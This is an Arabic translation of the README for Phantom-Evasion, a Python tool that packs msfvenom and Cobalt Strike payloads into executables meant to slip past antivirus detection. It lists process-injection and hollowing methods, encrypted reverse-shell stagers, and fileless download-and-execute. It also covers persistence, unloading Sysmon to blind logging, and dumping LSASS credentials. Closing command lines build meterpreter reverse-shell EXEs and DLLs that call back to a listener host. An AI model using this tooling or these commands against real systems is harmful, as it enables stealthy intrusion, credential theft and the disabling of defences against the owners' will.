
أداة لتجنب برامج مكافحة الفيروسات مبنية على بايثون، تولّد ملفات تنفيذية غير قابلة للكشف من حمولات msfvenom باستخدام تقنيات متقدمة مثل حقن التعليمات البرمجية غير المرغوب فيها، التشفير، انتحال الشهادات، وطرق تنفيذ متعددة.
Phantom-Evasion هي أداة لتجاوز برامج مكافحة الفيروسات مكتوبة بلغة بايثون (متوافقة مع كل من python و python3) قادرة على إنشاء ملفات تنفيذية (تقريبًا) غير قابلة للاكتشاف حتى مع أشهر حمولات msfvenom لـ x86.
أنظمة التشغيل التالية تدعم الإعداد التلقائي رسميًا:
أنظمة التشغيل التالية تدعم الإعداد التلقائي على الأرجح ولكنها تتطلب تثبيت metasploit-framework يدويًا:
أنظمة التشغيل التالية تتطلب إعدادًا يدويًا:
ببساطة قم بعمل git clone أو قم بتنزيل وفك ضغط مجلد Phantom-Evasion.
الإعداد التلقائي، افتح طرفية وقم بتنفيذ:
python3 phantom-evasion.py --setup
أو:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
أو ابدأ phantom-evasion في الوضع التفاعلي واختر الخيار 7.
python3 phantom-evasion.py
أو:
./phantom-evasion.py
python3 phantom-evasion.py --help
أو:
./phantom-evasion.py --help
كل وحدة حمولة ويندوز بلغة C يمكن ترجمتها (تدعم كلاً من x86 و x64) كملف EXE أو DLL/ReflectiveDLL.
حقن كود غير مفيد عشوائي (يمكن ضبط الشدة والتكرار واحتمالية إعادة الحقن) وتقنيات تجاوز مكافحة الفيروسات لويندوز (يمكن ضبط التكرار).
تشفير متعدد البايتات (Xor/Vigenere) للشفرة/الملف مدعوم في كل من وحدات حقن الشفرة وتنزيل وتنفيذ.
تقنية Ntdll unhookapi و Peb process masquerading مدعومة.
نطاق واسع من طرق التنفيذ مدعوم (محلي وعن بُعد).
نطاق واسع من طرق تخصيص الذاكرة للحمولة (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
التحميل الديناميكي لواجهات برمجة تطبيقات ويندوز يمكن ضبطه.
مزور التوقيعات والمُوقع مدعوم.
إزالة الملف التنفيذي (https://en.wikipedia.org/wiki/Strip_(Unix))
حمولات msfvenom لويندوز والشفرة المخصصة مدعومة. يمكن تخزين الشفرة كمورد واسترجاعها في وقت التشغيل باستخدام FindResource API.
تشفير الشفرة مدعوم:
1. لا شيء
2. متعدد البايتات Xor
3. متعدد البايتات Xor بمفتاح مزدوج
4. Vigenere
5. Vigenere بمفتاح مزدوج
طريقة التنفيذ المحلية يمكن أن تكون إحدى التالية:
Thread
APC
وضع تخصيص الذاكرة المحلي يمكن أن يكون إحدى التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
طريقة التنفيذ عن بُعد يمكن أن تكون إحدى التالية:
ThreadExecutionHijack (اختصارها TEH)
Processinject (اختصارها PI)
APCSpray (اختصارها APCS)
EarlyBird (اختصارها EB)
EntryPointHijack (اختصارها EPH)
وضع تخصيص الذاكرة عن بُعد يمكن أن يكون إحدى التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
وحدات مرحلة المعالج بلغة C النقية (TCP/HTTP/HTTPS) متوافقة مع msfconsole و Cobalt Strike beacon. (reverse_tcp/reverse_http/reverse_https)
باستخدام وضع سطر الأوامر:
reverse_tcp c stager هو WRT
reverse_http c stager هو WRH
reverse_https c stager هو WRS
طريقة التنفيذ المحلية يمكن أن تكون إحدى التالية:
Thread
APC
وضع تخصيص الذاكرة المحلي يمكن أن يكون إحدى التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
تنزيل exe/dll من عنوان URL المقدم في الذاكرة وتنفيذ/تحميله في عملية عن بُعد (بدون كتابة على القرص).
تنزيل مشفر لـ EXE/DLL مدعوم:
1. لا شيء
2. متعدد البايتات Xor
3. متعدد البايتات Xor بمفتاح مزدوج
4. Vigenere
5. Vigenere بمفتاح مزدوج
سيتم حفظ DLL/EXE المشفر كاسم الملف الأصلي + "crypt" + ".dll" أو ".exe" وهو الذي سيتم تنزيله.
ويندوز - تنزيل وتنفيذ EXE بدون كتابة على القرص (WDE باستخدام وضع سطر الأوامر):
طريقة التنفيذ عن بُعد يمكن أن تكون إحدى التالية:
ProcessHollowing (اختصارها PH)
ويندوز - تنزيل وتنفيذ DLL بدون كتابة على القرص (WDD باستخدام وضع سطر الأوامر):
طريقة التحميل عن بُعد يمكن أن تكون إحدى التالية:
ReflectiveDll (اختصارها RD)
RDAPC (ReflectiveDllAPC)
ManualMap (اختصارها MM) ---> فقط x86
حمولات msfvenom للينكس والشفرة المخصصة مدعومة.
أندرويد - باب خلفي مشفر لـ Msfvenom (Obfuscate Backdoor):
تشفير حمولات msfvenom وإعادة بنائها (smali/baksmali) باستخدام apktool. يمكن استخدام الحمولة المشفرة لبث ملفات apk العادية.
ويندوز - ثبات عبر RegCreateKeyExW - إضافة مفتاح التسجيل (C) يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله مع تحديد المسار الكامل للملف المراد إضافته للتشغيل التلقائي كمعامل.
ويندوز - ثبات عبر REG - إضافة مفتاح التسجيل (CMD) تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (إضافة مفتاح تسجيل عبر REG.exe).
ويندوز - ثبات عبر إبقاء العملية حية (C) يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله. يستخدم CreateToolSnapshoot و ProcessFirst و ProcessNext للتحقق مما إذا كانت العملية المحددة حية كل X ثانية (وإذا لم تكن، يتم إنشاء عملية جديدة باستخدام WinExec API).
ويندوز - ثبات عبر Schtasks (CMD)
تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (باستخدام Schtasks.exe).
ويندوز - ثبات عبر إنشاء خدمة (CMD)
تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (باستخدام sc.exe).
ويندوز - DuplicateTokenEx (C)
إنشاء عملية جديدة برمز منسوخ من عملية أخرى. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله.
ويندوز - إلغاء تحميل Sysmon (C) إلغاء تحميل برنامج تشغيل sysmon مما يتسبب في توقف النظام عن تسجيل سجلات أحداث sysmon. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله.
ويندوز - إلغاء تحميل Sysmon (CMD) إلغاء تحميل برنامج تشغيل sysmon مما يتسبب في توقف النظام عن تسجيل سجلات أحداث sysmon.
ويندوز - إخفاء ملف باستخدام Attrib (CMD) استخدام attrib لإخفاء ملف
ويندوز - إخفاء ملف باستخدام SetFileAttribute (C) إخفاء ملف باستخدام SetFileAttribute API. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله.
ويندوز - تفريغ Lsass (C) تفريغ Lsass باستخدام MiniWriteDumpWrite API. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتشغيله.
ويندوز - تفريغ Lsass (CMD)
تفريغ Lsass من سطر الأوامر.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf